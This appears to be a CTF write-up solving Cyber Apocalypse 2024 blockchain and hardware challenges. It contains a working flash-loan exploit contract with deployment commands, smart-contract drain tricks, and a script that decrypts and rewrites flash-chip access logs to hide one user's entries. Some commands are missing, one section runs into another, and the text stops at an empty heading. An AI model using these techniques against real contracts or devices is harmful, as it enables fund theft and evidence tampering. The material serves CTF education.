I have been casually participating in the Cyber Apocalypse CTF 2024. During this time, I managed to solve all the challenges in the pwn, crypto, blockchain, and hardware categories. In this write-up, I will share my solutions for all the challenges in the blockchain & hardware category that I solved. If you are interested in reading the write-up for all the pwn challenges, check out this post. If you are interested in reading the write-up for all the crypto challenges, check out this post.
Blockchain
Ledger Heist [hard]
Description
Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system’s vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime’s economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors’ grip on power.
Initial Analysis
In this challenge, we received a zip file containing some smart contracts. As usual, let’s begin by examining the Setup.sol.
The challenge initially creates a new Token, a new LoanPool, and deposits 10 ether into the LoanPool (TARGET). The objective is to maintain the total supply of the LoanPool at 10 ether, while reducing the TOKEN balance of the LoanPool to less than 10 ether. Let’s first examine the TOKEN.
It implements a basic token mechanism, where upon construction, the caller is awarded 10 ether and a specified user receives 1 ether. For this challenge, it means Setup.sol receives 10 ether, and the player (us) starts with a 1 ether balance of TOKEN. Now, let’s review the LoanPool contract.
// SPDX-License-Identifier: UNLICENSED
pragma solidity^0.8.13;import{FixedMathLib}from"./FixedPointMath.sol";import"./Errors.sol";import{IERC20Minimal,IERC3156FlashBorrower}from"./Interfaces.sol";import{Events}from"./Events.sol";structUserRecord{uint256feePerShare;uint256feesAccumulated;uint256balance;}contractLoanPoolisEvents{usingFixedMathLibforuint256;uint256constantBONE=10**18;addresspublicunderlying;uint256publictotalSupply;uint256publicfeePerShare;mapping(address=>UserRecord)publicuserRecords;constructor(address_underlying){underlying=_underlying;}functiondeposit(uint256amount)external{updateFees();IERC20Minimal(underlying).transferFrom(msg.sender,address(this),amount);_mint(msg.sender,amount);}functionwithdraw(uint256amount)external{if(userRecords[msg.sender].balance<amount){revertInsufficientBalance();}updateFees();_burn(msg.sender,amount);IERC20Minimal(underlying).transfer(msg.sender,amount);}functionupdateFees()public{address_msgsender=msg.sender;UserRecordstoragerecord=userRecords[_msgsender];uint256fees=record.balance.fixedMulCeil((feePerShare-record.feePerShare),BONE);record.feesAccumulated+=fees;record.feePerShare=feePerShare;emitFeesUpdated(underlying,_msgsender,fees);}functionwithdrawFees()externalreturns(uint256){address_msgsender=msg.sender;uint256fees=userRecords[_msgsender].feesAccumulated;if(fees==0){revertNoFees();}userRecords[_msgsender].feesAccumulated=0;IERC20Minimal(underlying).transfer(_msgsender,fees);emitFeesUpdated(underlying,_msgsender,fees);returnfees;}functionbalanceOf(addressaccount)publicviewreturns(uint256){returnuserRecords[account].balance;}// Flash loan EIP
functionmaxFlashLoan(addresstoken)externalviewreturns(uint256){if(token!=underlying){revertNotSupported(token);}returnIERC20Minimal(token).balanceOf(address(this));}functionflashFee(addresstoken,uint256amount)externalviewreturns(uint256){if(token!=underlying){revertNotSupported(token);}return_computeFee(amount);}functionflashLoan(IERC3156FlashBorrowerreceiver,addresstoken,uint256amount,bytescalldatadata)externalreturns(bool){if(token!=underlying){revertNotSupported(token);}IERC20Minimal_token=IERC20Minimal(underlying);uint256_balanceBefore=_token.balanceOf(address(this));if(amount>_balanceBefore){revertInsufficientBalance();}uint256_fee=_computeFee(amount);_token.transfer(address(receiver),amount);if(receiver.onFlashLoan(msg.sender,underlying,amount,_fee,data)!=keccak256("ERC3156FlashBorrower.onFlashLoan")){revertCallbackFailed();}uint256_balanceAfter=_token.balanceOf(address(this));if(_balanceAfter<_balanceBefore+_fee){revertLoanNotRepaid();}// The fee is `fee`, but the user may have sent more.
uint256interest=_balanceAfter-_balanceBefore;_updateFeePerShare(interest);emitFlashLoanSuccessful(address(receiver),msg.sender,token,amount,_fee);returntrue;}// Private methods
function_mint(addressto,uint256amount)private{totalSupply+=amount;userRecords[to].balance+=amount;emitTransfer(address(0),to,amount);}function_burn(addressfrom,uint256amount)private{totalSupply-=amount;userRecords[from].balance-=amount;emitTransfer(from,address(0),amount);}function_updateFeePerShare(uint256interest)private{feePerShare+=interest.fixedDivFloor(totalSupply,BONE);}function_computeFee(uint256amount)privatepurereturns(uint256){// 0.05% fee
returnamount.fixedMulCeil(5*BONE/10_000,BONE);}}
Although the contract is extensive, I’ll focus on the crucial and flawed functions.
Firstly, the deposit function allows users to deposit TOKEN into the LoanPool, which in return mints an equivalent amount of LPToken.
Next, the withdraw function permits users to burn a specified amount of their LPToken to reclaim an equal amount of TOKEN.
Lastly, the flashLoan function enables users to borrow funds within a single transaction, where the borrowed amount, plus a loanFee, must be returned before the transaction completes. Now that we know the main features, let’s try to think how to exploit this.
Solution
The critical oversight lies within the flashLoan function. Let’s break down its operation:
It checks the initial balance (_balanceBefore).
Calculates the loan fee.
Transfers amount of TOKEN to the receiver.
Executes receiver.onFlashLoan.
The receiver must be a contract with an onFlashLoan function returning keccak256("ERC3156FlashBorrower.onFlashLoan").
Checks the balance post-onFlashLoan.
Reverts if the new balance is less than _balanceBefore + _fee.
The flaw is in validating the return of borrowed funds, as it only verifies the pool’s balance reaches _balanceBefore + _fee. It fails to account for the method of returning the funds. The contract assumes funds are returned via a direct transfer, overlooking the possibility of using the deposit function.
For instance, if a user executes flashLoan(10 ether), receives the funds, and instead of transferring them back directly, they deposit the 10 ether and separately transfer the loanFee. This process results in:
The user acquiring 10 ether of LPToken.
The pool’s balance returning to 10 ether.
The pool receiving the loanFee through a manual transfer.
This method allows a user to mint 10 ether of LPToken without spending 10 ether of TOKEN, only the loan fee. Subsequently, the user can withdraw 10 ether, causing the pool to burn the LPToken and return an equivalent amount of TOKEN. This action reduces the pool’s TOKEN balance below 10 ether, enabling flag retrieval.
Below is the exploit contract designed to exploit the identified vulnerability. The contract aims to initiate a flashLoan and ingeniously returns the loan via a deposit action, also taking care of transferring the necessary fee as dictated by the pool during its invocation of our exploit contract’s onFlashLoan method. Subsequently, the exploit allows for the withdrawal of the erroneously granted LP Token, capitalizing on the bug. Comments within the code offer further clarification on its workings.
// SPDX-License-Identifier: UNLICENSED
pragma solidity^0.8.13;import{FixedMathLib}from"./FixedPointMath.sol";import"./Errors.sol";import{IERC20Minimal,IERC3156FlashBorrower}from"./Interfaces.sol";import{Events}from"./Events.sol";import{LoanPool}from"./LoanPool.sol";import{Token}from"./Token.sol";import{Setup}from"./Setup.sol";contractExploit{LoanPoolpublicimmutableTARGET;TokenpublicimmutableTOKEN;constructor(address_setup){Setupsetup=Setup(_setup);TARGET=setup.TARGET();TOKEN=setup.TOKEN();}functionattack()public{require(TOKEN.balanceOf(address(this))==1ether,"AAA");// Trigger flashLoan, later give back the loaned money via deposit
TARGET.flashLoan(IERC3156FlashBorrower(address(this)),address(TOKEN),10ether,bytes(""));// Now, we can easily withdraw and get free money :)
TARGET.withdraw(10ether);}functiononFlashLoan(addressinitiator,addresstoken,uint256amount,uint256fee,bytescalldatadata)externalreturns(bytes32){// At this stage, we already have the loaned money
// Deposit it back to the pool
TOKEN.approve(address(TARGET),type(uint256).max);TARGET.deposit(amount);// Transfer the fee
TOKEN.transfer(address(TARGET),fee);returnkeccak256("ERC3156FlashBorrower.onFlashLoan");}}
To deploy and execute this exploit using Foundry:
Initialize a new Foundry project with forge init.
Copy all challenge contracts into the src/ directory.
Create Exploit.sol inside src/, incorporating the exploit code.
Transfer 1 ether of your TOKEN to the deployed contract.
Obtain the TOKEN address with cast call <setup_address> "TOKEN()" -r <rpc_url>.
Transfer 1 ether to the exploit contract using cast send <token_address> "transfer(address,uint256)" -r <rpc_url> --private-key <private_key> -- <exploit_address> 1000000000000000000.
Trigger the attack function on the deployed contract.
Use cast send <exploit_address> "attack()" -r <rpc_url> --private-key <private_key>.
Following these steps should successfully exploit the vulnerability and retrieve the flag.
Flag: HTB{7H1nk_r0Und1ng_D1reC710N_7W1Ce}
Recovery [easy]
Description
We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.
We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?
Username: satoshi
Password: L4mb0Pr0j3ct
NOTE: Network is regtest, check connection info in the handler first.
Initial Analysis
We didn’t receive any files directly, but upon launching a Docker instance, we were provided with three pairs of IP addresses and ports. Connecting via netcat to the third pair revealed instructions for our task: we need to access a hacker’s wallet and transfer all the money to a designated address.
1
2
3
4
5
6
7
8
9
nc 94.237.56.255 48197
Hello fella, help us recover our bitcoins before it's too late.
Return our Bitcoins to the following address: bcrt1ql97nl7ph725kpqd4yuztnasa5chnf70y3775wk
CONNECTION INFO:
- Network: regtest
- Electrum server to connect to blockchain: 0.0.0.0:50002:t
NOTE: These options might be useful while connecting to the wallet, e.g --regtest --oneserver -s 0.0.0.0:50002:t
Hacker wallet must have 0 balance to earn your flag. We want back them all.
Next, we proceeded by connecting to the first IP and port pair using ssh, with the hacker’s SSH credentials as indicated. This connection allowes us to read the wallet seed, crucial for taking control of the hacker’s wallet.
1
2
3
4
5
6
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜ ~ ls
wallet
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜ ~ ls wallet
electrum-wallet-seed.txt
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜ ~ cat wallet/electrum-wallet-seed.txt
harsh hungry raccoon leg segment habit afford spice kangaroo version woman tuna
Solution
With the wallet seed in hand, our next step was to install electrum. The installation process is straightforward:
Download the Electrum package using wget https://download.electrum.org/4.5.3/Electrum-4.5.3.tar.gz
Install Electrum with pip install --user Electrum-4.5.3.tar.gz
Start Electrum, ensuring it connects to the second IP and port pair we received:
After initiating Electrum, we imported the wallet using the seed we had found earlier.
This granted us access to the hacker’s wallet, from which we could then transfer all the money to the specified address.
Finally, to complete our task, we reconnected to the first IP and port pair using netcat to retrieve the flag.
Flag: HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}
Lucky Faucet [easy]
Description
The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It’s designed to provide enough resources for all players, with the hope that someone won’t monopolize it, leaving none for others.
Initial Analysis
We were provided with two smart contracts: Setup.sol and LuckyFaucet.sol. Let’s begin with an overview of Setup.sol
The challenge begins by depositing 500 ether into the LuckyFaucet contract upon its deployment. Our objective is to reduce the balance of LuckyFaucet to 490 ether or less. Now, let’s delve into the LuckyFaucet contract.
// SPDX-License-Identifier: MIT
pragma solidity0.7.6;contractLuckyFaucet{int64publicupperBound;int64publiclowerBound;constructor()payable{// start with 50M-100M wei Range until player changes it
upperBound=100_000_000;lowerBound=50_000_000;}functionsetBounds(int64_newLowerBound,int64_newUpperBound)public{require(_newUpperBound<=100_000_000,"100M wei is the max upperBound sry");require(_newLowerBound<=50_000_000,"50M wei is the max lowerBound sry");require(_newLowerBound<=_newUpperBound);// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound=_newUpperBound;lowerBound=_newLowerBound;}functionsendRandomETH()publicreturns(bool,uint64){int256randomInt=int256(blockhash(block.number-1));// "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64amountToSend=uint64(randomInt%(upperBound-lowerBound+1)+lowerBound);boolsent=msg.sender.send(amountToSend);return(sent,amountToSend);}}
Upon examining the contract, we find two functions of interest: setBounds and sendRandomETH. The sendRandomETH function attempts to transfer an amountToSend in ether to the caller, with the amount being determined within the bounds of lowerBound + (upperBound - lowerBound + 1). It’s important to note that 1 ether equals 10**18, making the initial bounds (5*10**7 to 10**8) significantly smaller by comparison. Thus, extracting 10 ether (or 10**19) using the initial bounds would be impractically slow. Based on this, we need to think a solution on how to make this faster.
Solution
However, we observe that both upperBound and lowerBound are signed integers (int64), allowing us to set a large negative value for lowerBound through setBounds.
By assigning a substantially negative value to lowerBound, we can achieve a large amountToSend. Even if the result of randomInt % (upperBound - lowerBound + 1) + lowerBound is negative, it will be cast to uint64, resulting in a substantial amountToSend.
To overcome this challenge, we can simply set the bounds to a significantly negative number and then invoke sendRandomETH. This approach will enable us to drain more than 10 ETH. Here’s the solution utilizing foundry cast:
Upon inspecting the code, we find that the initial setup involves depositing 10 ether into the RussianRoulette contract. Our objective is to reduce the balance of the RussianRoulette contract (referred to as TARGET) to 0. Now, let’s turn our attention to RussianRoulette.sol.
RussianRoulette.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity0.8.23;contractRussianRoulette{constructor()payable{// i need more bullets
}functionpullTrigger()publicreturns(stringmemory){if(uint256(blockhash(block.number-1))%10==7){selfdestruct(payable(msg.sender));// 💀
}else{return"im SAFU ... for now";}}}
This contract features a single function named pullTrigger(). If (uint256(blockhash(block.number - 1)) % 10 == 7) evaluates to true, the contract executes selfdestruct. This action transfers the contract’s remaining balance to a specified address, in this case, the caller of pullTrigger.
Each new transaction invoking pullTrigger can produce new block.number, implying that eventually, the condition within the if statement will be met, triggering the action.
Solution
Based on this analysis, we can repeatedly call pullTrigger() until the selfdestruct is activated. Here’s an example command for invoking pullTrigger() using foundry cast:
After deactivating the lasers, you approach the door to the server room. It seems there’s a secondary flash memory inside, storing the log data of every entry. As the system is air-gapped, you must modify the logs directly on the chip to avoid detection. Be careful to alter only the user_id = 0x5244 so the registered logs point out to a different user. The rest of the logs stored in the memory must remain as is.
Initial Analysis
In this challenge, we were provided with client.py to interact with flash memory, alongside a C file named log_event.c.
#include<stdio.h>#include<stdint.h>#include<stdbool.h>#include<string.h>#include<wiringPiSPI.h>#include"W25Q128.h" // Our custom chip is compatible with the original W25Q128XX design#define SPI_CHANNEL 0 // /dev/spidev0.0
//#define SPI_CHANNEL 1 // /dev/spidev0.1
#define CRC_SIZE 4 // Size of the CRC data in bytes
#define KEY_SIZE 12 // Size of the key
// SmartLockEvent structure definition
typedefstruct{uint32_ttimestamp;// Timestamp of the event
uint8_teventType;// Numeric code for type of event // 0 to 255 (0xFF)
uint16_tuserId;// Numeric user identifier // 0 t0 65535 (0xFFFF)
uint8_tmethod;// Numeric code for unlock method
uint8_tstatus;// Numeric code for status (success, failure)
}SmartLockEvent;// Function Prototypes
intlog_event(constSmartLockEventevent,uint32_tsector,uint32_taddress);uint32_tcalculateCRC32(constuint8_t*data,size_tlength);voidwrite_to_flash(uint32_tsector,uint32_taddress,uint8_t*data,size_tlength);// CRC-32 calculation function
uint32_tcalculateCRC32(constuint8_t*data,size_tlength){uint32_tcrc=0xFFFFFFFF;for(size_ti=0;i<length;++i){crc^=data[i];for(uint8_tj=0;j<8;++j){if(crc&1)crc=(crc>>1)^0xEDB88320;elsecrc>>=1;}}return~crc;}boolverify_flashMemory(){uint8_tjedc[3];uint8_tuid[8];uint8_tbuf[256];uint8_twdata[26];uint8_ti;uint16_tn;booljedecid_match=true;// Assume true, prove false
booluid_match=true;// Assume true, prove false
// JEDEC ID to verify against
uint8_texpectedJedec[3]={0xEF,0x40,0x18};// UID to verify against
uint8_texpectedUID[8]={0xd2,0x66,0xb4,0x21,0x83,0x1f,0x09,0x2b};// SPI channel 0 at 2MHz.
// Start SPI channel 0 with 2MHz
if(wiringPiSPISetup(SPI_CHANNEL,2000000)<0){printf("SPISetup failed:\n");}// Start Flash Memory
W25Q128_begin(SPI_CHANNEL);// JEDEC ID Get
//W25Q128_readManufacturer(buf);
W25Q128_readManufacturer(jedc);printf("JEDEC ID : ");for(i=0;i<3;i++){printf("%x ",jedc[i]);}// Iterate over the array and compare elements
for(inti=0;i<sizeof(jedc)/sizeof(jedc[0]);++i){if(jedc[i]!=expectedJedec[i]){jedecid_match=false;// Set match to false if any element doesn't match
break;// No need to check further if a mismatch is found
}}if(jedecid_match){printf("JEDEC ID verified successfully.\n");}else{printf("JEDEC ID does not match.\n");return0;}// Unique ID
// Unique ID Get
W25Q128_readUniqieID(uid);printf("Unique ID : ");for(i=0;i<8;i++){printf("%x ",uid[i]);}printf("\n");// Iterate over the array and compare elements
for(inti=0;i<sizeof(uid)/sizeof(uid[0]);++i){if(uid[i]!=expectedUID[i]){uid_match=false;// Set match to false if any element doesn't match
break;// No need to check further if a mismatch is found
}}if(uid_match){printf("UID verified successfully.\n");}else{printf("UID does not match.\n");return0;}return1;}// Implementations
intlog_event(constSmartLockEventevent,uint32_tsector,uint32_taddress){boolmemory_verified=false;uint8_ti;uint16_tn;uint8_tbuf[256];memory_verified=verify_flashMemory();if(!memory_verified)return0;// Start Flash Memory
W25Q128_begin(SPI_CHANNEL);// Erase data by Sector
if(address==0){printf("ERASE SECTOR!");n=W25Q128_eraseSector(0,true);printf("Erase Sector(0): n=%d\n",n);memset(buf,0,256);n=W25Q128_read(0,buf,256);}uint8_tbuffer[sizeof(SmartLockEvent)+sizeof(uint32_t)];// Buffer for event and CRC
uint32_tcrc;memset(buffer,0,sizeof(SmartLockEvent)+sizeof(uint32_t));// Serialize the event
memcpy(buffer,&event,sizeof(SmartLockEvent));// Calculate CRC for the serialized event
crc=calculateCRC32(buffer,sizeof(SmartLockEvent));// Append CRC to the buffer
memcpy(buffer+sizeof(SmartLockEvent),&crc,sizeof(crc));// Print the SmartLockEvent for debugging
printf("SmartLockEvent:\n");printf("Timestamp: %u\n",event.timestamp);printf("EventType: %u\n",event.eventType);printf("UserId: %u\n",event.userId);printf("Method: %u\n",event.method);printf("Status: %u\n",event.status);// Print the serialized buffer (including CRC) for debugging
printf("Serialized Buffer (including CRC):");for(size_ti=0;i<sizeof(buffer);++i){if(i%16==0)printf("\n");// New line for readability every 16 bytes
printf("%02X ",buffer[i]);}printf("\n");// Write the buffer to flash
write_to_flash(sector,address,buffer,sizeof(buffer));// Read 256 byte data from Address=0
memset(buf,0,256);n=W25Q128_read(0,buf,256);printf("Read Data: n=%d\n",n);dump(buf,256);return1;}// encrypts log events
voidencrypt_data(uint8_t*data,size_tdata_length,uint8_tregister_number,uint32_taddress){uint8_tkey[KEY_SIZE];read_security_register(register_number,0x52,key);// register, address
printf("Data before encryption (including CRC):\n");for(size_ti=0;i<data_length;++i){printf("%02X ",data[i]);}printf("\n");// Print the CRC32 checksum before encryption (assuming the original data includes CRC)
uint32_tcrc_before_encryption=calculateCRC32(data,data_length-CRC_SIZE);printf("CRC32 before encryption: 0x%08X\n",crc_before_encryption);// Apply encryption to data, excluding CRC, using the key
for(size_ti=0;i<data_length-CRC_SIZE;++i){// Exclude CRC data from encryption
data[i]^=key[i%KEY_SIZE];// Cycle through key bytes
}printf("Data after encryption (including CRC):\n");for(size_ti=0;i<data_length;++i){printf("%02X ",data[i]);}printf("\n");}voidwrite_to_flash(uint32_tsector,uint32_taddress,uint8_t*data,size_tlength){printf("Writing to flash at sector %u, address %u\n",sector,address);uint8_ti;uint16_tn;encrypt_data(data,length,1,address);n=W25Q128_pageWrite(sector,address,data,16);printf("page_write(0,10,d,26): n=%d\n",n);}
Reading the log_event.c gave us insight into how it works:
This C code is used to log the SmartLockEvent.
The log is written starting from the address 0 of the flash memory.
Each log consist of 16 bytes, where:
12 bytes is the encrypted data of SmartLockEvent.
The encryption is very simple:
Take the key from the security_register number 1 with address 0x52.
Xor the data with the key.
4 bytes is the CRC32 of the original data of SmartLockEvent.
Our goal was to modify certain SmartLockEvent logs, specifically those with user_id = 0x5244, to point to a different user.
Solution
I revisited the flash memory documentation, using the same resource as before. To simplify the process, I extended client.py with an EventLog class for easier log parsing.
Reading through the documentaion, I identified a useful command, Read Security Registers (Section 8.2.33, instruction code 0x48), which can be used to obtain the encryption key. Here’s a snippet for fetching the key:
1
2
3
4
CMD_READ_SEC_REG=0x48# Do read_security_register(1, 0x52, KEY_SIZE)key=exchange([CMD_READ_SEC_REG,0x00,0x01<<4,0x52],12)print(f'key = {bytes(key)}')
Armed with the key, decrypting the event logs was straightforward. The script below was used to parse the event logs stored in the flash memory:
CMD_READ=0x3KEY_SIZE=12# Helper# read_data format: addr is array of 3 bytes, size is intdefread_data(addr,size):returnbytes(exchange([CMD_READ]+addr,size))# Define decrypt and encrypt functionsdefdecrypt(data):dec_data=[]foriinrange(len(data)):dec_data.append(data[i]^key[i%KEY_SIZE])returnbytes(dec_data)defencrypt(data):enc_data=[]foriinrange(len(data)):enc_data.append(data[i]^key[i%KEY_SIZE])returnbytes(enc_data)# Convert raw_event_log to EventLog classdefparse_log(event_log):timestamp=u32(event_log[:4])event_type=u16(event_log[4:6])user_id=u16(event_log[6:8])method=u8(event_log[8:9])status=u8(event_log[9:10])returnEventLog(timestamp,event_type,user_id,method,status)# Read event_log from spiflashdefread_event_log(address):addr=[bforbinp32(address)[::-1][1:]]# 24 byte# CMD_READ(addr, len)# sizeof(SmartLockEvent) is 0xc (not 0x9 because of compiler struct padding)# sizeof(crc32) is 0x4out=read_data(addr,0xc+0x4)enc_log=out[:0xc]crc32_log=u32(out[0xc:])ifenc_log==b'\xff'*0xc:# Invalid log (data in the specified address is clean)return0,0,False# Decrypt encrypted event_log with the key that we retrievedraw_log=decrypt(enc_log)assertcrc32(raw_log)==crc32_log# Parse log to help our life easierevent_log=parse_log(raw_log)returnevent_log,crc32_log,Trueevent_logs={}# There are 160 logs based on testing manually # (also the event log for user_id 0x5244 start from idx 156)print(f'Search for user_id 0x5244 event_logs')foriinrange(0,160):print('----')print(f'log-{i}...')event_log,crc32_log,is_valid=read_event_log(i*0x10)ifnotis_valid:breakevent_log.out()ifevent_log.user_id==0x5244:event_logs[i]=event_logprint('---')
The script iterates through encrypted logs, moving 0x10 bytes at a time (since each log, including CRC32, is 0x10 bytes long), decrypting them with the key. Logs from event_logs[156] to event_logs[159] were identified as the user 0x5244’s entries logs and needed to be changed.
Changing these logs was relatively simple with the encryption key. The script below was used for constructing the altered data:
# Notes that later, we need to erase the whole sector of spiflash (4096 bytes)# before we can overwrite the event_log of user id 0x5244.# So, let's recover the data first.# Read raw data 160 * 0x10 starting from address 0raw_data=bytes(exchange([CMD_READ,0x00,0x00,0x00],160*0x10))# From preious output, we know that data 156-159 contains user_id 0x5244.# Let's alter itprint(f'Start constructing new data...')altered_data=b''forevent_idx,valinevent_logs.items():val.user_id=0x23f# Change user_id# serialize and encryptnew_data=val.serialize()crc_32_bytes=p32(crc32(new_data))enc_data=encrypt(new_data)+crc_32_bytesassertlen(enc_data)==0x10altered_data+=enc_datanew_raw_data=raw_data[:156*0x10]+altered_dataassertlen(raw_data)==len(new_raw_data)
What I did above is that I encrypted the new event data, appended the original CRC32, and read all the raw_data of the encrypted logs before making any changes.
Reading the whole event data is crucial because the Page Program instruction (Section 8.2.15) only allows writing to previously erased memory locations.
Erasing a memory location involves the Sector Erase instruction (Section 8.2.17), which erases a whole sector (about 4096 bytes), which means the other logs will be deleted as well. Hence, we need to read all event logs first, so that later after we erases the whole sector, we can write back the encrypted event logs.
After preparing the altered data, the final step was to rewrite the flash memory sector with our crafted data. It’s important to use the Write Enable instruction (Section 8.2.1) before each erase or write operation. Combining all these scripts, we will be able to fetch the flag after it finishes. Below is the full script that I used to solve this challenge:
importsocketimportjsonFLAG_ADDRESS=[0x52,0x52,0x52]defexchange(hex_list,value=0):# Configure according to your setuphost='83.136.252.62'# The server's hostname or IP addressport=49500# The port used by the servercs=0# /CS on A*BUS3 (range: A*BUS3 to A*BUS7)usb_device_url='ftdi://ftdi:2232h/1'# Convert hex list to strings and prepare the command datacommand_data={"tool":"pyftdi","cs_pin":cs,"url":usb_device_url,"data_out":[hex(x)forxinhex_list],# Convert hex numbers to hex strings"readlen":value}withsocket.socket(socket.AF_INET,socket.SOCK_STREAM)ass:s.connect((host,port))# Serialize data to JSON and sends.sendall(json.dumps(command_data).encode('utf-8'))# Receive and process responsedata=b''whileTrue:data+=s.recv(1024)ifdata.endswith(b']'):breakresponse=json.loads(data.decode('utf-8'))#print(f"Received: {response}")returnresponse# SOLVERfrompwnimportp32,u32,p16,u16,p8,u8fromzlibimportcrc32fromdatetimeimportdatetimeclassEventLog:timestamp=0event_type=0user_id=0method=0status=0def__init__(self,timestamp,event_type,user_id,method,status):self.timestamp=timestampself.event_type=event_typeself.user_id=user_idself.method=methodself.status=statusdefout(self):print(f'''
timestamp : {self.timestamp} ({datetime.fromtimestamp(self.timestamp)})
event_type: {self.event_type} user_id : {hex(self.user_id)} method : {self.method} status : {self.status} ''')defserialize(self):returnp32(self.timestamp)+p16(self.event_type)+p16(self.user_id)+p8(self.method)+p8(self.status)+p16(0)# COMMANDSCMD_READ_SEC_REG=0x48CMD_READ=0x3CMD_WRITE_ENABLE=0x6CMD_SECTOR_ERASE=0x20CMD_PAGE_PROGRAM=0x02KEY_SIZE=12# Helper# read_data format: addr is array of 3 bytes, size is intdefread_data(addr,size):returnbytes(exchange([CMD_READ]+addr,size))# Example commandjedec_id=exchange([0x9F],3)print(f'jedec_id = {bytes(jedec_id)}')# Print flag (This will return 0xFFFFFFFFF because we haven't altered the log yet)flag=read_data(FLAG_ADDRESS,0x30)print(f'{flag= }')# Do read_security_register(1, 0x52, KEY_SIZE)key=exchange([CMD_READ_SEC_REG,0x00,0x01<<4,0x52],12)print(f'key = {bytes(key)}')# Define decrypt and encrypt functionsdefdecrypt(data):dec_data=[]foriinrange(len(data)):dec_data.append(data[i]^key[i%KEY_SIZE])returnbytes(dec_data)defencrypt(data):enc_data=[]foriinrange(len(data)):enc_data.append(data[i]^key[i%KEY_SIZE])returnbytes(enc_data)# Convert raw_event_log to EventLog classdefparse_log(event_log):timestamp=u32(event_log[:4])event_type=u16(event_log[4:6])user_id=u16(event_log[6:8])method=u8(event_log[8:9])status=u8(event_log[9:10])returnEventLog(timestamp,event_type,user_id,method,status)# Read event_log from spiflashdefread_event_log(address):addr=[bforbinp32(address)[::-1][1:]]# 24 byte# CMD_READ(addr, len)# sizeof(SmartLockEvent) is 0xc (not 0x9 because of compiler struct padding)# sizeof(crc32) is 0x4out=read_data(addr,0xc+0x4)enc_log=out[:0xc]crc32_log=u32(out[0xc:])ifenc_log==b'\xff'*0xc:# Invalid log (data in the specified address is clean)return0,0,False# Decrypt encrypted event_log with the key that we retrievedraw_log=decrypt(enc_log)assertcrc32(raw_log)==crc32_log# Parse log to help our life easierevent_log=parse_log(raw_log)returnevent_log,crc32_log,Trueevent_logs={}# There are 160 logs based on testing manually # (also the event log for user_id 0x5244 start from idx 156)print(f'Search for user_id 0x5244 event_logs')foriinrange(156,160):print('----')print(f'log-{i}...')event_log,crc32_log,is_valid=read_event_log(i*0x10)ifnotis_valid:breakevent_log.out()ifevent_log.user_id==0x5244:event_logs[i]=event_logprint('---')# Notes that later, we need to erase the whole sector of spiflash (4096 bytes)# before we can overwrite the event_log of user id 0x5244.# So, let's recover the data first.# Read raw data 160 * 0x10 starting from address 0raw_data=bytes(exchange([CMD_READ,0x00,0x00,0x00],160*0x10))# From preious output, we know that data 156-159 contains user_id 0x5244.# Let's alter itprint(f'Start constructing new data...')altered_data=b''forevent_idx,valinevent_logs.items():val.user_id=0x23f# Change user_id# serialize and encryptnew_data=val.serialize()crc_32_bytes=p32(crc32(new_data))enc_data=encrypt(new_data)+crc_32_bytesassertlen(enc_data)==0x10altered_data+=enc_datanew_raw_data=raw_data[:156*0x10]+altered_dataassertlen(raw_data)==len(new_raw_data)# print(new_raw_data)# Start alter data...# Erase sectorprint(f'Erase sector 0...')exchange([CMD_WRITE_ENABLE])exchange([CMD_SECTOR_ERASE,0x00,0x00,0x00])# Delete sector 0# Assertion checkprint(f'Assert that sector 0 is erased')raw_data=read_data([0x00,0x00,0x00],0x10)assertraw_data==b'\xFF'*0x10# Start rewrite the spiflash dataprint(f'Start rewrite data. We can only write 256 bytes per cmd')foriinrange(0,len(new_raw_data),256):print(f'Writing data[{i}:{i+256}]...')addr=[bforbinp32(i)[::-1][1:]]data=[bforbinnew_raw_data[i:i+256]]exchange([CMD_WRITE_ENABLE])exchange([CMD_PAGE_PROGRAM]+addr+data)# Print flagprint(f'Fetch flag :)')flag=read_data(FLAG_ADDRESS,0x30)print(f'{flag= }')
After successfully modifying the event logs, as per the challenge setup and the provided client.py, the flag was made available at the address [0x52, 0x52, 0x52]. Here’s how it looked when we executed the script:
After entering the door, you navigate through the building, evading guards, and quickly locate the server room in the basement. Despite easy bypassing of security measures and cameras, laser motion sensors pose a challenge. They’re controlled by a small 8-bit computer equipped with AT28C16 a well-known EEPROM as its control unit. Can you uncover the EEPROM’s secrets?
Initial Analysis
In this challenge, while no files were provided, we can spawn an instance for interacting with the specified hardware, the AT28C16 EEPROM. Our first step was to establish a connection to this instance.
nc 83.136.250.41 52004
AT28C16 EEPROMs
_____ _____
| \_/ |
A7 [| 1 24 |] VCC
A6 [| 2 23 |] A8
A5 [| 3 22 |] A9
A4 [| 4 21 |] !WE
A3 [| 5 20 |] !OE
A2 [| 6 19 |] A10
A1 [| 7 18 |] !CE
A0 [| 8 17 |] I/O7
I/O0 [| 9 16 |] I/O6
I/O1 [| 10 15 |] I/O5
I/O2 [| 11 14 |] I/O4
GND [| 12 13 |] I/O3
|_____________|
> help
Usage:
method_name(argument)
EEPROM COMMANDS:
set_address_pins(address) Sets the address pins from A10 to A0 to the specified values.
set_ce_pin(volts) Sets the CE (Chip Enable) pin voltage to the specified value.
set_oe_pin(volts) Sets the OE (Output Enable) pin voltage to the specified value.
set_we_pin(volts) Sets the WE (Write Enable) pin voltage to the specified value.
set_io_pins(data) Sets the I/O (Input/Output) pins to the specified data values.
read_byte() Reads a byte from the memory at the current address.
write_byte() Writes the current data to the memory at the current address.
help Displays this help menu.
Examples:
set_ce_pin(3.5)
set_io_pins([0, 5.1, 3, 0, 0, 3.1, 2, 4.2])
>
The connection provided us with a list of available commands, indicating that the EEPROM emulator is storing the flag we’re after.
Solution
